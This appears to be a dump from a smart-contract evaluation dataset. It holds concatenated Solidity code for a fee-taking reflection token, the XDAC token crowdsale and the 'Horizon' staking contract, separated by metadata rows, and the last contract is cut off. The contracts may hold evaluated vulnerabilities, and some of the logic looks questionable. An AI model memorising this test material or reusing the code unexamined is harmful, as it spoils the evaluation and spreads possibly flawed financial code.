uint256 private constant MAX = ~uint256(0);
uint256 private _reflectedTotal = (MAX - (MAX % _tokenTotal));
uint256 private constant _granularity = 100; // this allows 0.5 percentages for example
uint256 private _totalTokenFee = 0;
uint256 private _totalBurn;
bool private _disableFees = false;
constructor () {
_reflectBalances[_msgSender()] = _reflectedTotal; //
_isExcludedFromFee[owner()] = true;
_isExcludedFromReward[buybackAddress] = true;
emit Transfer(address(0), _msgSender(), _tokenTotal);
}
function setBuybackAddress(address newbuybackaddress)external onlyOwner{
buybackAddress=newbuybackaddress;
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint256) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _tokenTotal;
}
function balanceOf(address account) public view virtual override returns (uint256) {
if (_isExcludedFromReward[account]) return _balances[account];
return tokenFromReflection(_reflectBalances[account]);
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "transfer from the zero address");
require(recipient != address(0), "transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
(uint256 burnFee, uint256 reflectFee) = getTransferFee(sender, recipient);
uint256 currentRate = _getRate();
uint256 burnToken = ((amount*burnFee)/_granularity)/100;
uint256 reflectToken = ((amount*reflectFee)/_granularity)/100;
_reflectBalances[sender] -= amount*currentRate;
_reflectBalances[recipient] += ((amount-burnToken-reflectToken)*currentRate);
_reflectBalances[buybackAddress]+=burnToken*currentRate;
if(_isExcludedFromReward[sender]) _balances[sender] -= amount ;
if(_isExcludedFromReward[recipient]) _balances[recipient] += (amount-burnToken-reflectToken);
if(_isExcludedFromReward[buybackAddress]) _balances[buybackAddress] += burnToken;
_reflectedTotal -= reflectToken*currentRate;
emit Transfer(sender, recipient, amount-burnToken-reflectToken);
if (burnToken!=uint256(0)) emit Transfer(sender, buybackAddress, burnToken);
}
function getTransferFee(address sender, address recipient) private view returns (uint256, uint256){
if (_disableFees || _isExcludedFromFee[sender] || _isExcludedFromFee[recipient]){
return (uint256(0),uint256(0));
}
uint256 burnFee = 400;
uint256 reflectFee = 400;
uint256 burnt = balanceOf(buybackAddress);
return (burnFee,reflectFee);
}
function tokenFromReflection(uint256 reflectedAmount) public view returns(uint256) {
require(reflectedAmount <= _reflectedTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return reflectedAmount / currentRate ;
//return reflectedAmount.div(currentRate);
}
function _getRate() private view returns(uint256) {
(uint256 reflectedSupply, uint256 tokenSupply) = _getCurrentSupply();
return reflectedSupply / tokenSupply ;
}
function _getSupply() public view returns(uint256){
return _tokenTotal-balanceOf(buybackAddress);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 reflectedSupply = _reflectedTotal;
uint256 tokenSupply = _tokenTotal;
for (uint256 i = 0; i < _excludedFromReward.length; i++) {
if (_reflectBalances[_excludedFromReward[i]] > reflectedSupply || _balances[_excludedFromReward[i]] > tokenSupply) return (_reflectedTotal, _tokenTotal);
reflectedSupply -= _reflectBalances[_excludedFromReward[i]];
tokenSupply -= _balances[_excludedFromReward[i]];
}
if (reflectedSupply < (_reflectedTotal /_tokenTotal)) return (_reflectedTotal, _tokenTotal);
return (reflectedSupply, tokenSupply);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "approve from the zero address");
require(spender != address(0), "approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function excludeFromFees(address account) public onlyOwner{
_isExcludedFromFee[account] = true;
}
function includeInFees(address account) public onlyOwner{
_isExcludedFromFee[account] = false;
}
function excludeFromReward(address account) public onlyOwner {
require(!_isExcludedFromReward[account], "Account is already excluded");
if(_reflectBalances[account] > 0) {
_balances[account] = tokenFromReflection(_reflectBalances[account]);
}
_isExcludedFromReward[account] = true;
_excludedFromReward.push(account);
}
function includeInReward(address account) external onlyOwner {
require(_isExcludedFromReward[account], "Account is not excluded");
for (uint256 i = 0; i < _excludedFromReward.length; i++) {
if (_excludedFromReward[i] == account) {
_excludedFromReward[i] = _excludedFromReward[_excludedFromReward.length - 1];
_balances[account] = 0;
_isExcludedFromReward[account] = false;
_excludedFromReward.pop();
break;
}
}
}
function setFeesState(bool _enabled) public onlyOwner {
_disableFees = _enabled;
}
function getFeeInfo() public view returns(uint256,uint256){
return (getTransferFee(buybackAddress, buybackAddress));
}
function isExcludedFromFee(address account) public view returns(bool){
return _isExcludedFromFee[account];
}
function isExcludedFromReward(address account) public view returns(bool){
return _isExcludedFromReward[account];
}
}
| 92,993 | 14,113 |
41ffa4dfebf61ade11af9ba56f25ef284b2b5a92c06d2fe05ffa766f785adc5a
| 18,100 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x3d09042559ed46e61f0f1b6a13355e3d06368b2a.sol
| 3,322 | 12,843 |
pragma solidity ^0.4.18;
// File: node_modules/zeppelin-solidity/contracts/math/SafeMath.sol
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: node_modules/zeppelin-solidity/contracts/ownership/Ownable.sol
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: node_modules/zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: node_modules/zeppelin-solidity/contracts/token/ERC20/BasicToken.sol
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
// File: node_modules/zeppelin-solidity/contracts/token/ERC20/ERC20.sol
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: node_modules/zeppelin-solidity/contracts/token/ERC20/StandardToken.sol
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: contracts/XdacToken.sol
contract XdacToken is StandardToken, Ownable {
string public name = "XDAC COIN";
string public symbol = "XDAC";
uint8 public decimals = 18;
function XdacToken(uint256 _initial_supply) public {
totalSupply_ = _initial_supply;
balances[msg.sender] = _initial_supply;
Transfer(0x0, msg.sender, _initial_supply);
}
}
// File: contracts/XdacTokenCrowdsale.sol
contract XdacTokenCrowdsale is Ownable {
using SafeMath for uint256;
uint256[] roundGoals;
uint256[] roundRates;
uint256 minContribution;
// The token being sold
ERC20 public token;
// Address where funds are collected
address public wallet;
mapping(address => Contributor) public contributors;
//Array of the addresses who participated
address[] addresses;
// Amount of wei raised
uint256 public weiDelivered;
event TokenRefund(address indexed purchaser, uint256 amount);
event TokenPurchase(address indexed purchaser, address indexed contributor, uint256 value, uint256 amount);
struct Contributor {
uint256 eth;
bool whitelisted;
bool created;
}
function XdacTokenCrowdsale(address _wallet,
uint256[] _roundGoals,
uint256[] _roundRates,
uint256 _minContribution,
uint256 _initial_supply) public {
require(_wallet != address(0));
require(_roundRates.length == 5);
require(_roundGoals.length == 5);
roundGoals = _roundGoals;
roundRates = _roundRates;
minContribution = _minContribution;
token = new XdacToken(_initial_supply);
wallet = _wallet;
}
// -----------------------------------------
// Crowdsale external interface
// -----------------------------------------
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _contributor) public payable {
require(_contributor != address(0));
require(msg.value != 0);
require(msg.value >= minContribution);
require(weiDelivered.add(msg.value) <= roundGoals[4]);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(msg.value);
TokenPurchase(msg.sender, _contributor, msg.value, tokens);
_forwardFunds();
}
function _getCurrentRound() internal view returns (uint) {
for (uint i = 0; i < 5; i++) {
if (weiDelivered < roundGoals[i]) {
return i;
}
}
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
uint curRound = _getCurrentRound();
uint256 calculatedTokenAmount = 0;
uint256 roundWei = 0;
uint256 weiRaisedIntermediate = weiDelivered;
uint256 weiAmount = _weiAmount;
for (curRound; curRound < 5; curRound++) {
if (weiRaisedIntermediate.add(weiAmount) > roundGoals[curRound]) {
roundWei = roundGoals[curRound].sub(weiRaisedIntermediate);
weiRaisedIntermediate = weiRaisedIntermediate.add(roundWei);
weiAmount = weiAmount.sub(roundWei);
calculatedTokenAmount = calculatedTokenAmount.add(roundWei.mul(roundRates[curRound]));
}
else {
calculatedTokenAmount = calculatedTokenAmount.add(weiAmount.mul(roundRates[curRound]));
break;
}
}
return calculatedTokenAmount;
}
function _getEthAmount(uint256 _tokenAmount) internal view returns (uint256) {
uint curRound = _getCurrentRound();
uint256 calculatedWeiAmount = 0;
uint256 roundWei = 0;
uint256 weiRaisedIntermediate = weiDelivered;
uint256 tokenAmount = _tokenAmount;
for (curRound; curRound < 5; curRound++) {
if(weiRaisedIntermediate.add(tokenAmount.div(roundRates[curRound])) > roundGoals[curRound]) {
roundWei = roundGoals[curRound].sub(weiRaisedIntermediate);
weiRaisedIntermediate = weiRaisedIntermediate.add(roundWei);
tokenAmount = tokenAmount.sub(roundWei.div(roundRates[curRound]));
calculatedWeiAmount = calculatedWeiAmount.add(tokenAmount.div(roundRates[curRound]));
}
else {
calculatedWeiAmount = calculatedWeiAmount.add(tokenAmount.div(roundRates[curRound]));
break;
}
}
return calculatedWeiAmount;
}
function _forwardFunds() internal {
Contributor storage contributor = contributors[msg.sender];
contributor.eth = contributor.eth.add(msg.value);
if (contributor.created == false) {
contributor.created = true;
addresses.push(msg.sender);
}
if (contributor.whitelisted) {
_deliverTokens(msg.sender);
}
}
function _deliverTokens(address _contributor) internal {
Contributor storage contributor = contributors[_contributor];
uint256 amountEth = contributor.eth;
uint256 amountToken = _getTokenAmount(amountEth);
require(amountToken > 0);
require(amountEth > 0);
require(contributor.whitelisted);
contributor.eth = 0;
weiDelivered = weiDelivered.add(amountEth);
wallet.transfer(amountEth);
token.transfer(_contributor, amountToken);
}
function _refundTokens(address _contributor) internal {
Contributor storage contributor = contributors[_contributor];
uint256 ethAmount = contributor.eth;
require(ethAmount > 0);
contributor.eth = 0;
TokenRefund(_contributor, ethAmount);
_contributor.transfer(ethAmount);
}
function _whitelistAddress(address _contributor) internal {
Contributor storage contributor = contributors[_contributor];
contributor.whitelisted = true;
if (contributor.created == false) {
contributor.created = true;
addresses.push(_contributor);
}
//Auto deliver tokens
if (contributor.eth > 0) {
_deliverTokens(_contributor);
}
}
function _sendToken(address _address, uint256 _amountTokens) internal{
XdacToken _token = XdacToken(token);
require(_token.balanceOf(_token.owner()) >= _amountTokens);
_whitelistAddress(_address);
_token.transfer(_address, _amountTokens);
}
function whitelistAddresses(address[] _contributors) public onlyOwner {
for (uint256 i = 0; i < _contributors.length; i++) {
_whitelistAddress(_contributors[i]);
}
}
function whitelistAddress(address _contributor) public onlyOwner {
_whitelistAddress(_contributor);
}
function transferTokenOwnership(address _newOwner) public onlyOwner returns(bool success) {
XdacToken _token = XdacToken(token);
_token.transfer(_newOwner, _token.balanceOf(_token.owner()));
_token.transferOwnership(_newOwner);
return true;
}
function sendToken(address _address, uint256 _amountTokens) public onlyOwner returns(bool success) {
_sendToken(_address, _amountTokens);
return true;
}
function sendTokens(address[] _addresses, uint256[] _amountTokens) public onlyOwner returns(bool success) {
require(_addresses.length > 0);
require(_amountTokens.length > 0);
require(_addresses.length == _amountTokens.length);
for (uint256 i = 0; i < _addresses.length; i++) {
_sendToken(_addresses[i], _amountTokens[i]);
}
return true;
}
function refundTokensForAddress(address _contributor) public onlyOwner {
_refundTokens(_contributor);
}
function getAddresses() public onlyOwner view returns (address[]) {
return addresses;
}
function refundTokens() public {
_refundTokens(msg.sender);
}
function getTokenAmount(uint256 _weiAmount) public view returns (uint256) {
return _getTokenAmount(_weiAmount);
}
function getEthAmount(uint256 _tokenAmount) public view returns (uint256) {
return _getEthAmount(_tokenAmount);
}
function getCurrentRate() public view returns (uint256) {
return roundRates[_getCurrentRound()];
}
}
| 214,419 | 14,114 |
df584fb727e704ca6d401d7b096f9e97e60758b284aade3241d5ca337ef2e963
| 33,232 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/71/71d2009460383c970c08b0e37cc8f029bce5bbcd_Horizon.sol
| 5,090 | 21,282 |
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-IERC20Permit.sol)
pragma solidity ^0.8.0;
interface IERC20Permit {
function permit(address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) external;
function nonces(address owner) external view returns (uint256);
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from,
address to,
uint256 amount) external returns (bool);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function verifyCallResultFromTarget(address target,
bool success,
bytes memory returndata,
string memory errorMessage) internal view returns (bytes memory) {
if (success) {
if (returndata.length == 0) {
// only check isContract if the call was successful and the return data is empty
// otherwise we already know that it was a contract
require(isContract(target), "Address: call to non-contract");
}
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function _revert(bytes memory returndata, string memory errorMessage) private pure {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
/// @solidity memory-safe-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function safePermit(IERC20Permit token,
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) internal {
uint256 nonceBefore = token.nonces(owner);
token.permit(owner, spender, value, deadline, v, r, s);
uint256 nonceAfter = token.nonces(owner);
require(nonceAfter == nonceBefore + 1, "SafeERC20: permit did not succeed");
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IBasisAsset {
function mint(address recipient, uint256 amount) external;
function burn(uint256 amount) external;
function burnFrom(address from, uint256 amount) external;
function isOperator() external returns (bool);
function operator() external view returns (address);
function transferOperator(address newOperator_) external;
function balanceOf(address owner) external view returns (uint);
}
interface ITreasury {
function epoch() external view returns (uint256);
function nextEpochPoint() external view returns (uint256);
function getEmpyrealPrice() external view returns (uint256);
}
interface IAuthority {
function treasury() external view returns (address);
function controller() external view returns (address);
function empyreal() external view returns (address);
function firmament() external view returns (address);
function horizon() external view returns (address);
function empyrealMinters(address) external view returns (bool);
function firmamentMinters(address) external view returns (bool);
}
abstract contract AccessControlled {
event AuthorityUpdated(IAuthority indexed authority);
string UNAUTHORIZED = "UNAUTHORIZED"; // save gas
IAuthority public authority;
constructor(IAuthority _authority) {
authority = _authority;
emit AuthorityUpdated(_authority);
}
modifier onlyTreasury() {
require(msg.sender == authority.treasury(), UNAUTHORIZED);
_;
}
modifier onlyController() {
require(msg.sender == authority.controller(), UNAUTHORIZED);
_;
}
modifier onlyEmpyrealMinter() {
require(authority.empyrealMinters(msg.sender), UNAUTHORIZED);
_;
}
modifier onlyFirmamentMinter() {
require(authority.firmamentMinters(msg.sender), UNAUTHORIZED);
_;
}
function setAuthority(IAuthority _newAuthority) external onlyController {
authority = _newAuthority;
emit AuthorityUpdated(_newAuthority);
}
function empyreal() public view returns (address) {
return authority.empyreal();
}
function firmament() public view returns (address) {
return authority.firmament();
}
function horizon() public view returns (address) {
return authority.horizon();
}
function treasury() public view returns (address) {
return authority.treasury();
}
}
contract ContractGuard {
mapping(uint256 => mapping(address => bool)) private _status;
function checkSameOriginReentranted() internal view returns (bool) {
return _status[block.number][tx.origin];
}
function checkSameSenderReentranted() internal view returns (bool) {
return _status[block.number][msg.sender];
}
modifier onlyOneBlock() {
require(!checkSameOriginReentranted(),
"ContractGuard: one block, one function");
require(!checkSameSenderReentranted(),
"ContractGuard: one block, one function");
_;
_status[block.number][tx.origin] = true;
_status[block.number][msg.sender] = true;
}
}
abstract contract ShareWrapper is AccessControlled {
using SafeERC20 for IERC20;
uint256 private _totalSupply;
bool public canAbort = true;
mapping(address => uint256) private _balances;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function stakeForMany(address[] calldata _receivers,
uint256[] calldata _amounts) public virtual onlyController {
for (uint i = 0; i < _receivers.length; i++) {
address _receiver = _receivers[i];
uint256 amount = _amounts[i];
_totalSupply += amount;
_balances[_receiver] += amount;
IERC20(firmament()).safeTransferFrom(msg.sender,
address(this),
amount);
}
}
function stakeFor(address _receiver,
uint256 amount) public virtual onlyController {
_totalSupply += amount;
_balances[_receiver] += amount;
IERC20(firmament()).safeTransferFrom(msg.sender, address(this), amount);
}
function stake(uint256 amount) public virtual {
_totalSupply += amount;
_balances[msg.sender] += amount;
IERC20(firmament()).safeTransferFrom(msg.sender, address(this), amount);
}
function withdraw(uint256 amount) public virtual {
uint256 memberShare = _balances[msg.sender];
require(memberShare >= amount,
"Horizon: withdraw request greater than staked amount");
_totalSupply -= amount;
_balances[msg.sender] -= amount;
IERC20(firmament()).safeTransfer(msg.sender, amount);
}
}
contract Horizon is ShareWrapper, ContractGuard {
using SafeERC20 for IERC20;
using Address for address;
struct PassengerSeat {
uint256 lastSnapshotIndex;
uint256 rewardEarned;
uint256 epochTimerStart;
}
struct HorizonSnapshot {
uint256 time;
uint256 rewardReceived;
uint256 rewardPerShare;
}
// flags
bool public initialized = false;
mapping(address => PassengerSeat) public members;
HorizonSnapshot[] public horizonHistory;
uint256 public withdrawLockupEpochs;
uint256 public rewardLockupEpochs;
event Initialized(address indexed executor, uint256 at);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
event RewardAdded(address indexed user, uint256 reward);
modifier memberExists() {
require(balanceOf(msg.sender) > 0,
"Horizon: The member does not exist");
_;
}
modifier updateReward(address member) {
if (member != address(0)) {
PassengerSeat memory seat = members[member];
seat.rewardEarned = earned(member);
seat.lastSnapshotIndex = latestSnapshotIndex();
members[member] = seat;
}
_;
}
modifier notInitialized() {
require(!initialized, "Horizon: already initialized");
_;
}
constructor(address _authority) AccessControlled(IAuthority(_authority)) {}
function initialize() public notInitialized {
HorizonSnapshot memory genesisSnapshot = HorizonSnapshot({
time: block.number,
rewardReceived: 0,
rewardPerShare: 0
});
horizonHistory.push(genesisSnapshot);
withdrawLockupEpochs = 6; // Lock for 6 epochs (48h) before release withdraw
rewardLockupEpochs = 3; // Lock for 3 epochs (24h) before release claimReward
initialized = true;
emit Initialized(msg.sender, block.number);
}
function setLockUp(uint256 _withdrawLockupEpochs,
uint256 _rewardLockupEpochs) external onlyController {
require(_withdrawLockupEpochs >= _rewardLockupEpochs &&
_withdrawLockupEpochs <= 56,
"_withdrawLockupEpochs: out of range"); // <= 2 week
withdrawLockupEpochs = _withdrawLockupEpochs;
rewardLockupEpochs = _rewardLockupEpochs;
}
// =========== Snapshot getters
function latestSnapshotIndex() public view returns (uint256) {
return horizonHistory.length - 1;
}
function getLatestSnapshot()
internal
view
returns (HorizonSnapshot memory)
{
return horizonHistory[latestSnapshotIndex()];
}
function getLastSnapshotIndexOf(address member) public view returns (uint256) {
return members[member].lastSnapshotIndex;
}
function getLastSnapshotOf(address member) internal view returns (HorizonSnapshot memory) {
return horizonHistory[getLastSnapshotIndexOf(member)];
}
function canWithdraw(address member) external view returns (bool) {
return
members[member].epochTimerStart + withdrawLockupEpochs <= epoch();
}
function canClaimReward(address member) external view returns (bool) {
return members[member].epochTimerStart + rewardLockupEpochs <= epoch();
}
function epoch() public view returns (uint256) {
return ITreasury(treasury()).epoch();
}
function nextEpochPoint() external view returns (uint256) {
return ITreasury(treasury()).nextEpochPoint();
}
function getEmpyrealPrice() external view returns (uint256) {
return ITreasury(treasury()).getEmpyrealPrice();
}
// =========== Member getters
function rewardPerShare() public view returns (uint256) {
return getLatestSnapshot().rewardPerShare;
}
function earned(address member) public view returns (uint256) {
uint256 latestRPS = getLatestSnapshot().rewardPerShare;
uint256 storedRPS = getLastSnapshotOf(member).rewardPerShare;
return
(balanceOf(member) * (latestRPS - storedRPS)) /
1e18 +
members[member].rewardEarned;
}
function stake(uint256 amount) public override onlyOneBlock updateReward(msg.sender) {
require(amount > 0, "Horizon: Cannot stake 0");
super.stake(amount);
members[msg.sender].epochTimerStart = epoch(); // reset timer
emit Staked(msg.sender, amount);
}
function stakeFor(address _recipient,
uint256 amount) public override onlyOneBlock onlyController updateReward(msg.sender) {
require(amount > 0, "Horizon: Cannot stake 0");
super.stakeFor(_recipient, amount);
members[_recipient].epochTimerStart = epoch(); // reset timer
emit Staked(_recipient, amount);
}
function stakeForMany(address[] calldata _receivers,
uint256[] calldata _amounts) public override onlyOneBlock onlyController {
for (uint i = 0; i < _receivers.length; i++) {
address member = _receivers[i];
uint256 _amount = _amounts[i];
PassengerSeat memory seat = members[member];
seat.rewardEarned = earned(member);
seat.lastSnapshotIndex = latestSnapshotIndex();
members[member] = seat;
super.stakeFor(member, _amount);
members[member].epochTimerStart = epoch(); // reset timer
emit Staked(member, _amount);
}
}
function withdraw(uint256 amount) public override onlyOneBlock memberExists updateReward(msg.sender) {
require(amount > 0, "Horizon: Cannot withdraw 0");
require(members[msg.sender].epochTimerStart + withdrawLockupEpochs <=
epoch(),
"Horizon: still in withdraw lockup");
claimReward();
super.withdraw(amount);
emit Withdrawn(msg.sender, amount);
}
function exit() external {
withdraw(balanceOf(msg.sender));
}
function claimReward() public updateReward(msg.sender) {
uint256 reward = members[msg.sender].rewardEarned;
if (reward > 0) {
require(members[msg.sender].epochTimerStart + rewardLockupEpochs <=
epoch(),
"Horizon: still in reward lockup");
members[msg.sender].epochTimerStart = epoch(); // reset timer
members[msg.sender].rewardEarned = 0;
IERC20(empyreal()).safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
}
function allocateSeigniorage(uint256 amount) external onlyOneBlock {
require(msg.sender == treasury(), "only treasury");
require(amount > 0, "Horizon: Cannot allocate 0");
require(totalSupply() > 0,
"Horizon: Cannot allocate when totalSupply is 0");
// Create & add new snapshot
uint256 prevRPS = getLatestSnapshot().rewardPerShare;
uint256 nextRPS = prevRPS + ((amount * 1e18) / totalSupply());
HorizonSnapshot memory newSnapshot = HorizonSnapshot({
time: block.number,
rewardReceived: amount,
rewardPerShare: nextRPS
});
horizonHistory.push(newSnapshot);
IERC20(empyreal()).safeTransferFrom(msg.sender, address(this), amount);
emit RewardAdded(msg.sender, amount);
}
function governanceRecoverUnsupported(IERC20 _token,
uint256 _amount,
address _to) external onlyController {
// do not allow to drain core tokens
require(address(_token) != empyreal(), "empyreal");
